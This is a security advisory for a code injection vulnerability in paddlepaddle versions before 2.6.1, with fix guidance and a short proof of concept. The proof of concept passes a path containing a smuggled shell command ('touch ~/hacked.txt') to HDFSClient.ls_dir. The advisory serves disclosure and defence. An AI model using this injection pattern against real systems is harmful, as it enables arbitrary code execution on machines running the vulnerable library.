Code Injection Affecting paddlepaddle package, versions [,2.6.1)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (11th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-PADDLEPADDLE-6419223
- published 8 Mar 2024
- disclosed 7 Mar 2024
- credit ranjit-git
How to fix?
Upgrade paddlepaddle to version 2.6.1 or higher.
Overview
paddlepaddle is a Parallel Distributed Deep Learning
Affected versions of this package are vulnerable to Code Injection due to improper validation of user-supplied input. An attacker can execute arbitrary code on the system by sending a crafted request.
PoC
from paddle.distributed.fleet.utils import HDFSClient
hadoop_home = "/home/client/hadoop-client/hadoop/"
configs = {
"fs.default.name": "hdfs://xxx.hadoop.com:54310",
"hadoop.job.ugi": "hello,hello123" }
client = HDFSClient(hadoop_home, configs)
subdirs, files = client.ls_dir("hdfs:/test_hdfs_client;touch ~/hacked.txt;")
References
CVSS Scores
version 3.1